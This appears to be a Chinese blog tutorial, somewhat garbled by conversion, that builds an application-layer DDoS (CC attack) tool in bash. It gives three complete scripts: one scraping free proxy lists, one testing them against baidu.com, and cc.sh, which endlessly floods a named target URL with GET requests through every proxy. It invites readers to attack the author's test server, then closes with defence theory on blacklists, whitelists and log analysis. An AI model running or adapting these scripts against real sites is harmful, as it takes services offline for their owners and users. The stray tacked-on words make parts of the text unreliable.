故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 爲不得已
html
知己知彼 百戰不殆 不知彼而知己 一勝一負 不知彼不知己 每戰必敗web
——孫子兵法·謀攻shell
咱們將要實現一個進行應用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,並用bash shell腳原本快速實現並驗證這一工具,並在最後,討論如何防護來自應用層的DDoS攻擊。數據庫
第一步:獲取大量可用代理ip:port列表瀏覽器
網上所處可見免費代理,咱們使用http的GET方法抓取html文檔,接着使用正則過濾出咱們須要的ip port對,而後逐一驗證各代理的可用性,最終獲得可用的代理ip port對。安全
1 grab_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip 10 declare port 11 declare i 12 declare j 13 declare mod 14 15 function quit() { 16 rm -f $tmpFile 17 exit "$1" 18 } 19 20 echo "get proxy list... please wait..." 21 22 if [ -r "$proxyListFile" ] 23 then 24 rm -f $proxyListFile 25 fi 26 27 touch $proxyListFile 28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \ 30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" \ 31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" \ 32 " http://www.youdaili.cn/Daili/guonei/2215_4.html " 33 do 34 if GET "$url" > $tmpFile 35 then 36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \ 37 | sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile 38 else 39 exec 1>&2 40 echo "error: get proxy list fail! chech the url:$url or the network" 41 quit 1 42 fi 43 done 44 45 echo "done. total `cat $proxyListFile | wc -l` proxy" 46 47 quit 0 48 #exit
參數:bash
declare proxyListFile="proxy.txt" #抓取到的代理ip port對所存放的文件路徑服務器
1 check_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 declare mod 12 13 function quit() { 14 exit "$1" 15 } 16 17 #echo "start check proxy's functionality..." 18 19 #retarget the input file to stdin 20 if [ "$#" -gt "0" ] 21 then 22 exec 0<$1 23 else 24 exec 1>&2 25 echo "usage: bash $0 proxyListFile.txt" 26 echo "error: must have one input arg" 27 quit 1 28 fi 29 30 #check proxy's functionality 31 times=0 32 while read line 33 do 34 times=$((times+1)) 35 j=0 36 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 37 do 38 j=$((j+1)) 39 if [ "$j" -eq 1 ] 40 then 41 ip=$i 42 else 43 port=$i 44 fi 45 done 46 #echo "times=$times ip=$ip port=$port" 47 # start test 48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null 49 then 50 echo "$ip $port" 51 echo ":) ip=$ip port=$port " &>/dev/null 52 else 53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2 54 fi & 55 mod=$((times%check_threads)) 56 if [ "$mod" -eq "0" ] 57 then 58 wait 59 fi 60 done 61 62 #close the fd of input file 63 exec 0>&- 64 quit 0 65 #exit
參數:網絡
declare check_threads=10 #驗證代理可用性時的併發數,看一下代碼就會發現,咱們使用的是GET http://baidu.com方法,因此,併發數請不要也過高 :) 除非你的目標就是......併發
總結:應徵入伍的士兵共計600人,通過考覈的共計449人,若是你還想招募更多的士兵,奉勸一句,苦海無邊,懸崖勒馬。
第二步:吹響戰爭號角
筆者在一臺VPS上創建了一個薄弱的靶機,各位讀者請不要太暴力,測試一下就能夠了,地址 http://eecs.cc:8080/
筆者把這麼重要的信息都放出來了,讀者請點個贊吧 :)
1 cc.sh
1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 12 function quit() { 13 exit "$1" 14 } 15 16 #retarget the input file to stdin 17 if ! [ "$#" -gt "0" ] 18 then 19 exec 1>&2 20 echo "challenge collapsar attack -- cc attack" 21 echo "usage: bash $0 proxyListFile.txt" 22 echo "error: must have one input arg" 23 quit 1 24 fi 25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command" 27 echo "command: target: $target_url" 28 echo "command: start challenge collapsar attack :) amazing..." 29 30 exec 0<$1 31 #start challenge collapsar attack 32 33 while true 34 do 35 times=0 36 exec 0<&- 37 exec 0<$1 38 while read line 39 do 40 times=$((times+1)) 41 j=0 42 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 43 do 44 j=$((j+1)) 45 if [ "$j" -eq 1 ] 46 then 47 ip=$i 48 else 49 port=$i 50 fi 51 done 52 echo "times=$times ip=$ip port=$port" 53 #single soldier attack 54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)" 57 else 58 echo "soldier$times attack $target_url miss" 59 fi & 60 done 61 wait 62 done 63 64 #close the fd of input file 65 exec 0>&- 66 quit 0 67 #exit
讀者可自行嘗試攻擊這個站點,而後使用瀏覽器訪問查看服務器網絡情況,此時大量鏈接處於TIME_WAIT狀態,參考TCP狀態機,這一狀態爲主動關閉一方的最終等待狀態。
請不要惡意攻擊別人的網站 若是所以被關了進去 沒有人能把你弄出來
應用層DDoS的防護理論:
問題模型描述:
每個頁面,都有其資源消耗權重,靜態資源,權重較低,動態資源,權重較高。對於用戶訪問,有以下:
用戶資源使用頻率=使用的服務器總資源量/s
命題一:對於正常訪問的用戶,資源使用頻率一定位於一個合理的範圍,固然會存在大量正經常使用戶共享ip的狀況,這就須要平常用戶訪問統計,以獲得忠實用戶ip白名單。
命題二:資源使用頻率持續異常的,可判定爲訪問異常的用戶。
防護體系狀態機:
1.在系統各項資源很是寬裕時,向全部ip提供服務,每隔一段時間釋放一部分臨時黑名單中的ip成員;
2.在系統資源消耗達到某一閾值時,下降Syn包接受速率,循環:分析最近時間的日誌,並將訪問異常的ip加入臨時黑名單;
3.若系統資源消耗慢慢回降至正常水平,則恢復Syn包接受速率,轉到狀態1;若目前策略並未有效地控制住系統資源消耗的增加,狀況繼續惡劣至一極限閾值,轉到狀態4;
4.最終防護方案,使用忠實用戶ip白名單、異常訪問ip黑名單策略,其餘訪問可慢慢放入,直到系統資源消耗回降至正常水平,轉到狀態1。
上述的防護狀態機,對於單個攻擊IP高併發的DDOS,變化到狀態3時,效果就徹底體現出來了,但若是防護狀態機進行到4狀態,則有以下兩種可能:
1.站點遭到了攻擊羣龐大的、單個IP低併發的DDOS攻擊;
2.站點忽然間有了不少訪問正常的新用戶。
建議後續工做:
保守:站點應儘快進行服務能力升級。
積極:盡所能,追溯攻擊者。
追溯攻擊者:
CC:proxy-forward-from-ip
單個IP高併發的DDOS:找到訪問異常的、高度可疑的ip列表,exploit,蒐集、分析數據,由於一個傀儡主機可被二次攻佔的機率很大(但不建議這種方法)
單個IP低併發的DDOS:之前極少訪問被攻擊站點,可是在攻擊發生時,卻頻繁訪問咱們的站點,分析日誌獲得這一部分ip列表
追溯攻擊者的過程當中,snat與web proxy增長了追蹤的難度,若是攻擊者採用多箇中繼服務器的方法,追溯將變得極爲困難。
防護者:
1.應對當前系統瞭如指掌,如系統最高負載、最高數據處理能力,以及系統防護體系的強項與弱點
2.歷史日誌的保存、分析
3.對當前系統進行嚴格安全審計
4.上報公安相關部分,努力追溯攻擊者
5.網站,能靜態,就必定不要動態,可採起定時從主數據庫生成靜態頁面的方式,對須要訪問主數據庫的服務使用驗證機制
6.防護者應能從全局的角度,迅速及時地發現系統正在處於什麼程度的攻擊、何種攻擊,在平時,應該創建起攻擊應急策略,規範化操做,省得在急中犯下低級錯誤
對歷史日誌的分析這時將會很是重要,數據可視化與統計學的方法將會頗有益處:
1.分析每一個頁面的平均訪問頻率
2.對訪問頻率異常的頁面進行詳細分析 分析獲得ip-頁面訪問頻率
3.獲得對訪問異常頁面的訪問異常ip列表
4.對日誌分析獲得忠實用戶IP白名單
5.通常一個頁面會關聯多個資源,一次對於這樣的頁面訪問每每會同時增長多個資源的訪問數,而攻擊程序通常不會加載這些它不感興趣的資源,因此,這也是一個很是好的分析突破點
本文主要講述了DDoS攻擊之一的CC攻擊工具實現,以及如何防護來自應用層的DDoS攻擊的理論總結。接下來的文章,筆者將會實現一個工做於內核態的、具備黑名單功能的防火牆模塊,以對應於上述防護狀態機中的防火牆單元,它實現了自主地動態內存管理,使用hash表管理ip列表,並能夠自定義hash表的modular。
若有問題或者建議,歡迎留言討論 :)
附錄: